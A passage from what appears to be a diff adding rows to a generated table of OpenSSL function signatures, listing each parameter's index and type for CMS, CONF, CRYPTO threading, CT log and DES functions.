CMS_decrypt | 5 | unsigned int | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 1 | EVP_PKEY * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 2 | X509 * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 3 | X509 * | +| (CMS_ContentInfo *,X509 *) | | CMS_add0_cert | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *) | | CMS_add0_cert | 1 | X509 * | +| (CMS_ContentInfo *,X509 *) | | CMS_add1_cert | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *) | | CMS_add1_cert | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 2 | EVP_PKEY * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 3 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 4 | unsigned int | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 2 | EVP_PKEY * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 3 | const EVP_MD * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 4 | unsigned int | +| (CMS_ContentInfo *,X509 *,unsigned int) | | CMS_add1_recipient_cert | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *,unsigned int) | | CMS_add1_recipient_cert | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,unsigned int) | | CMS_add1_recipient_cert | 2 | unsigned int | +| (CMS_ContentInfo *,X509_CRL *) | | CMS_add1_crl | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509_CRL *) | | CMS_add1_crl | 1 | X509_CRL * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 1 | const unsigned char * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 2 | size_t | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 3 | BIO * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 4 | BIO * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 5 | unsigned int | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 1 | const unsigned char * | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 2 | unsigned int | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 3 | BIO * | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 4 | unsigned int | +| (CMS_ContentInfo *,stack_st_X509 **) | | ossl_cms_get1_certs_ex | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,stack_st_X509 **) | | ossl_cms_get1_certs_ex | 1 | stack_st_X509 ** | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 1 | stack_st_X509 * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 2 | X509_STORE * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 3 | BIO * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 4 | BIO * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 5 | unsigned int | +| (CMS_ContentInfo *,stack_st_X509_CRL **) | | ossl_cms_get1_crls_ex | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,stack_st_X509_CRL **) | | ossl_cms_get1_crls_ex | 1 | stack_st_X509_CRL ** | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 0 | CMS_EncryptedContentInfo * | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 1 | const EVP_CIPHER * | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 2 | const unsigned char * | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 3 | size_t | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 4 | const CMS_CTX * | +| (CMS_EnvelopedData *) | | OSSL_CRMF_ENCRYPTEDKEY_init_envdata | 0 | CMS_EnvelopedData * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 0 | CMS_EnvelopedData * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 1 | BIO * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 2 | EVP_PKEY * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 3 | X509 * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 4 | ASN1_OCTET_STRING * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 5 | unsigned int | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 6 | OSSL_LIB_CTX * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 7 | const char * | +| (CMS_IssuerAndSerialNumber **,X509 *) | | ossl_cms_set1_ias | 0 | CMS_IssuerAndSerialNumber ** | +| (CMS_IssuerAndSerialNumber **,X509 *) | | ossl_cms_set1_ias | 1 | X509 * | +| (CMS_IssuerAndSerialNumber *,X509 *) | | ossl_cms_ias_cert_cmp | 0 | CMS_IssuerAndSerialNumber * | +| (CMS_IssuerAndSerialNumber *,X509 *) | | ossl_cms_ias_cert_cmp | 1 | X509 * | +| (CMS_ReceiptRequest *) | | CMS_ReceiptRequest_free | 0 | CMS_ReceiptRequest * | +| (CMS_ReceiptRequest **,const unsigned char **,long) | | d2i_CMS_ReceiptRequest | 0 | CMS_ReceiptRequest ** | +| (CMS_ReceiptRequest **,const unsigned char **,long) | | d2i_CMS_ReceiptRequest | 1 | const unsigned char ** | +| (CMS_ReceiptRequest **,const unsigned char **,long) | | d2i_CMS_ReceiptRequest | 2 | long | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 0 | CMS_ReceiptRequest * | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 1 | ASN1_STRING ** | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 2 | int * | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 3 | stack_st_GENERAL_NAMES ** | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 4 | stack_st_GENERAL_NAMES ** | +| (CMS_RecipientEncryptedKey *,X509 *) | | CMS_RecipientEncryptedKey_cert_cmp | 0 | CMS_RecipientEncryptedKey * | +| (CMS_RecipientEncryptedKey *,X509 *) | | CMS_RecipientEncryptedKey_cert_cmp | 1 | X509 * | +| (CMS_RecipientInfo *) | | CMS_RecipientInfo_type | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_kari_orig_id_cmp | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_kari_orig_id_cmp | 1 | X509 * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_ktri_cert_cmp | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_ktri_cert_cmp | 1 | X509 * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 1 | X509 * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 2 | EVP_PKEY * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 3 | X509 * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 4 | EVP_PKEY * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 5 | unsigned int | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 6 | const CMS_CTX * | +| (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 1 | const unsigned char * | +| (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | size_t | +| (CMS_SignedData *) | | CMS_SignedData_free | 0 | CMS_SignedData * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 0 | CMS_SignedData * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 1 | BIO * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 2 | stack_st_X509 * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 3 | X509_STORE * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 4 | stack_st_X509 * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 5 | stack_st_X509_CRL * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 6 | unsigned int | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 7 | OSSL_LIB_CTX * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 8 | const char * | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 0 | CMS_SignerIdentifier * | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 1 | ASN1_OCTET_STRING ** | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 2 | X509_NAME ** | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 3 | ASN1_INTEGER ** | +| (CMS_SignerIdentifier *,X509 *) | | ossl_cms_SignerIdentifier_cert_cmp | 0 | CMS_SignerIdentifier * | +| (CMS_SignerIdentifier *,X509 *) | | ossl_cms_SignerIdentifier_cert_cmp | 1 | X509 * | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 0 | CMS_SignerIdentifier * | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 1 | X509 * | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 2 | int | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 3 | const CMS_CTX * | +| (CMS_SignerInfo *) | | CMS_SignerInfo_get0_md_ctx | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *) | | CMS_SignerInfo_get0_pkey_ctx | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *) | | CMS_SignerInfo_get0_signature | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *) | | ossl_cms_encode_Receipt | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,BIO *) | | CMS_SignerInfo_verify_content | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,BIO *) | | CMS_SignerInfo_verify_content | 1 | BIO * | +| (CMS_SignerInfo *,CMS_ReceiptRequest *) | | CMS_add1_ReceiptRequest | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,CMS_ReceiptRequest *) | | CMS_add1_ReceiptRequest | 1 | CMS_ReceiptRequest * | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 1 | EVP_PKEY ** | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 2 | X509 ** | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 3 | X509_ALGOR ** | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 4 | X509_ALGOR ** | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_cert_cmp | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_cert_cmp | 1 | X509 * | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_set1_signer_cert | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_set1_signer_cert | 1 | X509 * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 1 | X509 * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 2 | EVP_PKEY * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 3 | stack_st_X509 * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 4 | unsigned int | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_signed_add1_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_signed_add1_attr | 1 | X509_ATTRIBUTE * | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_unsigned_add1_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_unsigned_add1_attr | 1 | X509_ATTRIBUTE * | +| (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | int | +| (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | int | +| (CMS_SignerInfo *,stack_st_X509_ALGOR *) | | CMS_add_smimecap | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,stack_st_X509_ALGOR *) | | CMS_add_smimecap | 1 | stack_st_X509_ALGOR * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 0 | COMP_CTX * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 1 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 2 | int | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 3 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 4 | int | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 0 | COMP_CTX * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 1 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 2 | int | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 3 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 4 | int | +| (COMP_METHOD *) | | COMP_CTX_new | 0 | COMP_METHOD * | +| (CONF *,CONF_VALUE *,CONF_VALUE *) | | _CONF_add_string | 0 | CONF * | +| (CONF *,CONF_VALUE *,CONF_VALUE *) | | _CONF_add_string | 1 | CONF_VALUE * | +| (CONF *,CONF_VALUE *,CONF_VALUE *) | | _CONF_add_string | 2 | CONF_VALUE * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 0 | CONF * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 1 | X509V3_CTX * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 2 | const char * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 3 | stack_st_X509_EXTENSION ** | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 0 | CONF * | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 1 | X509V3_CTX * | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 2 | int | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 3 | const char * | +| (CONF *,const char *) | | TS_CONF_get_tsa_section | 0 | CONF * | +| (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | const char * | +| (CONF *,const char *) | | _CONF_new_section | 0 | CONF * | +| (CONF *,const char *) | | _CONF_new_section | 1 | const char * | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 0 | CONF * | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 1 | const char * | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 2 | TS_serial_cb | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 3 | TS_RESP_CTX * | +| (CONF *,const char *,X509_ACERT *) | | X509_ACERT_add_attr_nconf | 0 | CONF * | +| (CONF *,const char *,X509_ACERT *) | | X509_ACERT_add_attr_nconf | 1 | const char * | +| (CONF *,const char *,X509_ACERT *) | | X509_ACERT_add_attr_nconf | 2 | X509_ACERT * | +| (CONF *,lhash_st_CONF_VALUE *) | | CONF_set_nconf | 0 | CONF * | +| (CONF *,lhash_st_CONF_VALUE *) | | CONF_set_nconf | 1 | lhash_st_CONF_VALUE * | +| (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 0 | CONF_IMODULE * | +| (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | unsigned long | +| (CONF_IMODULE *,void *) | | CONF_imodule_set_usr_data | 0 | CONF_IMODULE * | +| (CONF_IMODULE *,void *) | | CONF_imodule_set_usr_data | 1 | void * | +| (CONF_MODULE *) | | CONF_module_get_usr_data | 0 | CONF_MODULE * | +| (CONF_MODULE *,void *) | | CONF_module_set_usr_data | 0 | CONF_MODULE * | +| (CONF_MODULE *,void *) | | CONF_module_set_usr_data | 1 | void * | +| (CRL_DIST_POINTS *) | | CRL_DIST_POINTS_free | 0 | CRL_DIST_POINTS * | +| (CRL_DIST_POINTS **,const unsigned char **,long) | | d2i_CRL_DIST_POINTS | 0 | CRL_DIST_POINTS ** | +| (CRL_DIST_POINTS **,const unsigned char **,long) | | d2i_CRL_DIST_POINTS | 1 | const unsigned char ** | +| (CRL_DIST_POINTS **,const unsigned char **,long) | | d2i_CRL_DIST_POINTS | 2 | long | +| (CRYPTO_EX_DATA *,int,void *) | | CRYPTO_set_ex_data | 0 | CRYPTO_EX_DATA * | +| (CRYPTO_EX_DATA *,int,void *) | | CRYPTO_set_ex_data | 1 | int | +| (CRYPTO_EX_DATA *,int,void *) | | CRYPTO_set_ex_data | 2 | void * | +| (CRYPTO_RCU_LOCK *,rcu_cb_fn,void *) | | ossl_rcu_call | 0 | CRYPTO_RCU_LOCK * | +| (CRYPTO_RCU_LOCK *,rcu_cb_fn,void *) | | ossl_rcu_call | 1 | rcu_cb_fn | +| (CRYPTO_RCU_LOCK *,rcu_cb_fn,void *) | | ossl_rcu_call | 2 | void * | +| (CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_native_join | 0 | CRYPTO_THREAD * | +| (CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_native_join | 1 | CRYPTO_THREAD_RETVAL * | +| (CRYPTO_THREAD_LOCAL *) | | CRYPTO_THREAD_cleanup_local | 0 | CRYPTO_THREAD_LOCAL * | +| (CRYPTO_THREAD_LOCAL *) | | CRYPTO_THREAD_get_local | 0 | CRYPTO_THREAD_LOCAL * | +| (CRYPTO_THREAD_LOCAL *,void *) | | CRYPTO_THREAD_set_local | 0 | CRYPTO_THREAD_LOCAL * | +| (CRYPTO_THREAD_LOCAL *,void *) | | CRYPTO_THREAD_set_local | 1 | void * | +| (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 0 | CRYPTO_THREAD_ROUTINE | +| (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 1 | void * | +| (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | int | | (CRegKey &) | CRegKey | CRegKey | 0 | CRegKey & | +| (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 0 | CTLOG ** | +| (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 1 | const char * | +| (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 2 | const char * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 0 | CTLOG ** | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 1 | const char * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 2 | const char * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 3 | OSSL_LIB_CTX * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 4 | const char * | +| (CT_POLICY_EVAL_CTX *,CTLOG_STORE *) | | CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,CTLOG_STORE *) | | CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE | 1 | CTLOG_STORE * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_cert | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_cert | 1 | X509 * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_issuer | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_issuer | 1 | X509 * | +| (CT_POLICY_EVAL_CTX *,uint64_t) | | CT_POLICY_EVAL_CTX_set_time | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,uint64_t) | | CT_POLICY_EVAL_CTX_set_time | 1 | uint64_t | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 0 | DES_LONG * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 1 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 2 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 3 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 0 | DES_LONG * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 1 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 2 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 3 | DES_key_schedule * | 